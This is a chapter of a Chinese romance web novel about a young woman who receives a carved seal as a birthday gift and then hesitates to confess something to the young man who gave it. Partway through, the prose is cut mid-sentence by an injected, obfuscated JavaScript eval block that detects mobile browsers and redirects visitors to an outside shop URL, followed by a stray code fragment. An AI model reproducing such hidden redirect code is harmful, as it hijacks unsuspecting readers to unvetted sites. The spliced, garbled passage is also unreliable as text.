路昱航的这个问题绝对在淙夏意料之外,因为她明明记得他当时戴着耳机,而她声音也很小。
是看的口型?
可看口型就说明路昱航全程把注意力放在她身上……怎么可能。
淙夏的脑子由于太过紧张而开始思维劈叉式发散,马上要延伸到‘路昱航难道是外星人会读取她脑电波’时,提出问题的人看出她在发呆,肩膀轻轻碰撞她的,道:
“一个答案而已,很难么?”
不难。
难的是这答案背后的另一个问题。
现在就要坦白吗?
可他们还没有开始吃蛋糕,路昱航听完会不会直接被她气走啊?
淙夏咽了咽嗓子,指尖陷进捏在掌心的眼罩里,感觉此刻紧张的程度不亚于被奶奶发现她小时候凌晨不睡觉躲在被窝里翻漫画书。
算了算了。
伸头一刀缩头也是一刀。
“好吧我承认,”淙夏右手把眼罩攥成一团,自暴自弃地道,“我……是叫你名字了。”
路昱航勾起嘴角,把葡萄汽水递给她,眼神依旧落在她身上没移走,安静须臾,他喉结滚动了下,又抛出一个问题:“为什么叫我?”
淙夏就知道他会这么问:“因为我梦到你了。”
他“哦”了声,在这一秒才抽离视线,低头抛接着铁质拉环,漫不经心的语气:“梦到我什么?”
引诱似的越问越深。
你刚不是说只要一个答案吗。
淙夏仰头灌汽水,咕嘟咕嘟,汽水因为对峙太久,没了碳酸气泡,喝下去只剩果葡糖浆的甜味。
消灭掉半罐汽水,淙夏手背抹了抹嘴,心里做好打算,面不改色地继续回:“梦到你和我一起买花。”
原谅她吧。
现在坦白的话,如果路昱航生气离席,她会内疚得吃不下饭。
而赵青提买的蛋糕真得很贵。
她一定要吃。
吃完饭之后再坦白。
“买花?”话题似乎超出路昱航的预料范围,他接住拉环,挑了下眉,“什么花?”
淙夏做完决定心情轻松多了,笑眯眯地说:“苹果杰克,超级漂亮。”
“……”
路昱航没接话,若有所思。
“海观车站就有卖。”淙夏又喝一口汽水,没心没肺地晃晃脚,“那天我从海观回来准备买的。”
她低头看着自己的鞋尖,停顿片刻,笑着说,“想想还是算了。”
“为什么算了?”路昱航问。
淙夏没有跟别人聊过这些,因为觉得是青春期乱想症偶尔发作的产物,分享不成型的观点是比分享喜欢的电影和歌单更亲密的举动,仿佛在允许对方触摸你的精神边界。
但不知道是此刻氛围太好,还是跟前这个人给她的感觉太坦诚可靠,胡言乱语什么都不会被嘲笑。
她转着饮料罐说:“你不觉得么?在生日当天买花,会成为一种浪漫,一种心安理得的仪式感,但在没有什么特殊意义的日子里买花,这一笔消费就会变成日常开支的一部分,变成一种小小的负担。”
“生活和浪漫一定要分的很开吗?”路昱航反问,把拉环抛入褚卓背后的垃圾袋,很轻地‘当啷’一声,“谁规定特殊日子之外的时间不可以有仪式感?想生活就生活,想浪漫就浪漫,你买花也不是家里非得有个花瓶吧,可乐罐也能养玫瑰啊。”
他说着,双手往后撑上野餐垫,眺望着不远处星子四溅的篝火堆,懒洋洋地抻了抻腿,“毕竟人类赖以生存的不止是阳光和氧气,还要有勇敢,真诚,浪漫的心。”
这种话从他嘴里说出来一点不显得浮夸,反而因为态度上的沉稳笃定,透着种‘须知少年凌云志,曾许人间第一流’的自由无畏。
蓬勃夏风吹过灯影摇曳的海,汽船鸣笛的瞬间,淙夏感觉她的精神世界在跟着砰砰颤动,她捏紧罐子,强迫自己从那种情绪里抽离出来,岔开话题道:“哇,不愧是七岁就写出了十三首情歌的人。”
“……”路昱航这次迅速回头瞥向她,“你怎么知道?”
“网上啊,你粉丝说的。”
“别总看网上那些乱七八糟,很多都是假的。”
“写情歌也是假的?”
“……这是真的。”
淙夏很不道德地笑出声,把剩余的几口葡萄汽水喝完。
第五局游戏结束,祁浩接到一通电话,刀思霏和阿K终于采购完海鲜回来,让他们去路口帮忙拿。
“你俩跳海里现捞的啊?”鲁子凡抢过手机吐槽,“一个小时可算有信儿了,要不报警都不知道该说是失踪了还是私奔了。”
淙夏坐老远都能听见刀思霏在电话彼端亲切地问候鲁子凡全家。
几人陆陆续续往外走。
路昱航先站起来,然后对地上的淙夏道:“手给我。”
淙夏下意识把手递过去,递到一半反应过来:“不用,我可以……”
自己起。
话未说完,路昱航从工装短裤侧兜里拿出一方小小的礼物盒子,放在她半空中摊开的掌心。
淙夏一愣,路昱航又用拿礼物的那只手,顺势往下握住她手腕,将她从野餐垫上轻松地拉起来。
距离在刹那间缩近,路昱航垂眼看她,屈指一弹她下颌——傍晚玩游戏时贴纸条的位置,低声道:
“生日快乐,姜丛丛。”
-
一鼓作气,再衰三竭。
暂时的犹豫带来无尽的退缩。
海鲜吃过,蛋糕分过,又玩过几局狼人杀和真心话大冒险。
晚上十一点四十,海边烧烤趴宣布结束,大家依依不舍尽兴而归,淙夏到底还是没有讲出口。
依旧分两辆车,回去的时候换路昱航开,赵青提错过美容觉时间,精神极度亢奋,跪在座椅上,扒着淙夏的副驾靠背说要续摊。
于是四人又去姜家小楼蹭电影看。
电影放至一半,茶几上零食袋子敞开,空啤酒罐歪七倒八,而褚卓和赵青提躺在沙发上睡得不省人事。
淙夏把电视关了,东西收拾好,又拿来毯子给他俩盖上。
上楼时她看一眼路昱航的卧室,这人在电影开场没多久,接了个电话就回房间了,现在也没出来。
淙夏洗完澡换上睡衣,正要把穿过的衣服丢进脏衣篓,从裙裤的口袋中摸出路昱航给的礼物盒。
其余礼物都放在楼下,只有这个被她无意中揣在兜里随身携带着。
刚才在沙滩,她没来得及看,现下拎到眼前仔细观察,发现是她手掌大小的长方形木盒,深棕色,有些许重量,礼物与盒子嵌入得极其适当,摇晃起来几乎没有声响。
淙夏想象不出路昱航会送她什么东西,她思索着把木盒转了一圈,在盒侧找到凸起的机关,按下。
扣钮咔哒弹出。
木盒打开。
“……”淙夏微微睁大眼。
居然是一块印章。
小小的方体,非常漂亮剔透的水粉色,莹莹流光印在黑丝绸垫布上,顶端雕刻成疯动里的朱迪,受石料大小限制,只够雕成半身像。
小兔子穿着警服,长耳朵机敏地竖着,嘴角翘起一边,有点神气的小得意,生动活泼,一比一还原动画电影。
淙夏着实没想到路昱航还有这手艺,她嘴巴一直惊讶地半张着,动作小心地把印章从盒子里拿出来。
触感尤其好,好到摸上去的瞬间就能够猜出石料不菲。
温润清凉,丝滑如玉。
她捧在掌心翻来覆去地看,最后把印章倒个个儿,端正俊逸的字体刻在方形底面——「姜淙夏印」。
这是小篆么?
路昱航还会书法?
淙夏没见过路昱航写字,她名字被刻得太漂亮,忍不住多看了两眼,才去翻木盒里剩余的东西。
一条天蓝色串珠穗子编织绳,坠挂在印章上的,一小方红色印泥,还有一张卷起的纸条。
如果刚才淙夏还摸不准路昱航是否练过书法,那么这一刻答案很明晰了。
纸条上钢笔字力透纸背,气盛神凝,即便龙飞凤舞也神散形不散,一股恣意骄狂的气息扑面而来——
‘虽然不懂你为什么到处刻名字,但送你块印章吧’
‘总用小刀,手不疼吗’
……
淙夏长久地注视着这两行字,心里有块角落软得毛毛茸茸。
她站在原地发了五秒钟的呆,想起路昱航在沙滩上对她说的话。
「勇敢,真诚,浪漫的心。」
淙夏深深吸上一口气,把印章和纸条装进盒中,再锁进床头柜的抽屉里,跟奶奶送她的那把小刻刀放在一起,然后穿好拖鞋下楼。
褚卓不知道什么时候被赵青提一脚踹去沙发底下的凉席上,胡乱盖着毯子,呼噜声震天响。
凌晨一点半,淙夏放轻脚步,从路昱航房门缝隙里透出的灯光知道这人还没睡,屈指叩响门板。
过了会儿门才从里面打开。
路昱航看样子刚洗完澡,换了身宽松的白T短裤,一手握着门把,一手拿着毛巾在擦头发,黑发蓬乱潮湿地搭垂在眉眼前。
他上下轻轻扫量她一遍,没有问她什么事,看完她之后顺带着又看了眼沙发那边的褚卓,然后把门开得更大了些,侧身给她让路,下巴朝房内指了指,示意她进来说。
书桌上电脑开着,摊一本专业类书籍,做了点笔记,看来之前在忙。
淙夏进来之后,门板在她身后喀嚓一声合拢,她看到的闻到的,全是浴室里飘出的潮湿水汽,和清新的薄荷沐浴露香味,似乎还有一点说不出的,干净的男生性荷尔蒙的味道,在密闭的房间里缓缓弥漫开。
“……”
淙夏发觉一件事。
她大半夜随便闯入同龄男生卧室的行为,是不是不太好?
她拘谨地回头瞄了眼路昱航,发现这人没有跟过来,而是背靠门板站在那儿,和她保持一定距离,边不疾不徐地擦头发,边看着她。
两人对上视线之后,路昱航才开口,声线懒懒的:“睡不着?”
这么晚了来找他。
他没有表现出任何不自在的样子,于是淙夏也放松下来:“还没开始睡呢,我刚才拆了你送的礼物。”
他嗯了声:“喜欢么?”
“非常、非常、非常喜欢。”淙夏一连说了三个程度副词,单膝跪上他的转椅,两手越过椅背撑着书桌的桌面,身子轻轻地转啊转,目不转睛望着他,语气雀跃又崇拜,“路昱航你好厉害,你是专门学过纂刻吗?你还会书法?”
“我会的多了。”他把话题简单带过,语气是令人心动的嚣张。
头发不再滴水,他把毛巾随意挂在脖子上,背往后抵靠着门板,气定神闲地屈起一条腿,“你来是想说这个?发条微信不就好了。”
淙夏悠哉悠哉转椅子的动作一停,想起主线任务:“……不是。”
愉悦的心情瞬时下落,淙夏唇角抿成直线,犹豫着叫他名字。
“路昱航。”
被喊的人看得出她有点紧张,从喉咙里沉沉地“嗯”了声。
淙夏撑着桌面的手指蜷起,准备先坦白短袖的事情试试水,她给自己鼓了鼓气,继续道:“其实我有件事瞒着你,在心里藏很久了,不知道怎么开口,现在想告诉你。”
路昱航和她对视着。
蝉鸣被阻隔在外,房间里安静得万籁俱寂,气氛有微妙的停滞。
大约三四秒后,路昱航像才反应过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569569|203505||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
将会发生什么。
“等一下。”
他迅速用手肘抵着门板站直,那股子散漫态度荡然无存,颇为意外地看了看腕表上的时间,又看了看她,“你……要现在说么?”
淙夏被这个问句问懵了:“啊?现在不能说么?”
他很着急睡觉吗?
她很着急表白吗?
路昱航的心率突然波动得剧烈,他掩饰性地抓抓头发,轻咳一声,耳朵有些烫:“能,说吧。”
淙夏不确定坦白的后果,斟酌几秒,决定把条件放在前面讲:“那你可不可以先答应我。”
“什么?”
“你听完之后还能和我做朋友。”
“……”
我不会拒绝你啊。
我表现得很明显了吧。
但淙夏已经这么说了,路昱航只好顺着她的话题往下。
“不一定,看我心情。”路昱航假眉三道地抱着手臂重新靠上门板,拎出几分游刃有余的架势,说完担心她退缩,又暗示找补一句,“但朋友应该很难继续做下去了。”
果然如此吗,淙夏瞬间萎掉,蔫了吧唧地趴伏在椅背上:“可我不是故意的呀,我一时间没看住,就……”
说来说去还是怪骑士。
路昱航被她可怜巴巴的眼神看得心里发痒,掩饰性地摸了摸鼻尖:“嗯,这种事确实难以克制。”
对话进行到这,淙夏察觉出一丝不对劲:“你是不是知道我要说什么?”
“……”
沉默等于认同,淙夏难以置信,腾地直起身:“你真知道啊?”
路昱航觉得责任不在自己,一脸无辜地摊了摊手:“你表现的那么明显,我很难看不出来吧?”
“明显吗?”淙夏大脑飞速转动,开始思考这人知道的到底是哪一件事,直接问上去属于不打自招,她还没那么蠢,于是选择迂回战术,“你什么时候知道的?”
“那天,房间里。”路昱航下巴往桌面抬了抬,笔电键盘上搁着副黑框眼镜,给她提供记忆节点,“你问我有没有女朋友。”
“噢……”原来知道的是短袖,淙夏登时松一口气。
这下路昱航也察觉出不对劲了:“怎么,你还有别的事想说?”
“有是有,”淙夏迟疑地道,“但先不说了吧,怕你一起听完承受不住。”
什么承受不住。
你除了表白还想求婚么?
“那另一件以后再讲,”路昱航及时控掉乱七八糟的念头,把话题拉回正轨,“你先把这件事说了。”
“……哦。”
房间陷入一阵沉默。
淙夏在心里打了好几遍草稿,话语递到舌尖要讲出口时,她慌乱地飞快瞥一眼路昱航表情。
男生后背紧靠着门,目不转睛在盯她,黑发下的耳尖微微红。
两道目光在半空中对撞,他眼神闪烁一下,像跟着她的呼吸在颤动。
淙夏突兀地读懂他情绪。
他在紧张,在期待。
——为什么期待?
是在看她道歉态度诚不诚恳吗?
淙夏打好的草稿一下子乱掉,思维顺着这个想法劈叉发散:
路昱航特地给她准备了这么用心的生日礼物,她做错事,难道就一句轻飘飘的‘对不起’敷衍带过?
不行不行。
淙夏当即决定:“明天再说。”
路昱航:??
钓鱼呢?
“你说得对,时间不合适,地点也不合适。”淙夏郑重其事地道,“虽然你已经知道我要说什么,但我还是想真诚和正式一些,明天我请你吃个饭吧,我们边吃边说。”
语毕。
淙夏用两国元首会晤的严肃姿态对路昱航点了点头,推门离去。
路昱航:“…………”
路昱航是真的没有想到,淙夏会这么认真,这么仪式感。
对他这么上心。
沙发区褚卓的呼噜声让路昱航回过神,淙夏已经上楼,他关门,又在门后站了会儿,抬脚勾过转椅坐下,继续翻着那本没看完的乐理书。
书页上的一行行铅黑色小字如同长着翅膀,在他眼前飞来飞去,扰得他心思不宁,心跳快得离谱。
实在看不进去,路昱航合上书,从桌面捞过手机,指尖滑开屏幕锁,停顿几秒,又按键熄屏。
他胡乱地揉了两把头发,后脑勺往后仰抵上椅背,长腿大刺刺敞开着,支着地面带动椅子前后滑动。
久违的。
头顶两侧又出现淙夏向他要微信那天的,两个Q版小人。
电吉他依旧反派得很刻板,冷冷嘲笑:「你想主动跟她表白?」
木吉他扑扇羽毛小翅膀:「一句话而已,为什么不能主动?」
「所以你已经打定主意要在这个小破镇子谈恋爱了?」电吉他顶着对恶魔犄角,试图掐灭他念头,「别忘记你现在的经济状况,你卡里余额有超过五位数吗?」
木吉他飞转一圈,双手交握,眼神期待:「噢,对,我要开始上晚场了,要更加努力地赚钱~」
电吉他看劝阻没用,放出杀手锏:「你知道她考的是哪个大学吗你就谈?异地恋没有好结果的!」
木吉他和路昱航同时顿住了,然后路昱航连人带椅一个前滑,捞过笔电放在膝上,噼里啪啦打字搜索:
‘异地恋如何维护感情长久’
电吉他:「……」
电吉他力竭了:「可恶的恋爱脑,你带上嫁妆去嫁给她吧!」
路昱航和趴在他脑袋上看搜索记录的木吉他小人同时转头望向电吉他,皱眉脸红的表情如出一辙。
木吉他:「可她还没跟我求婚呢。」
电吉他:「………………」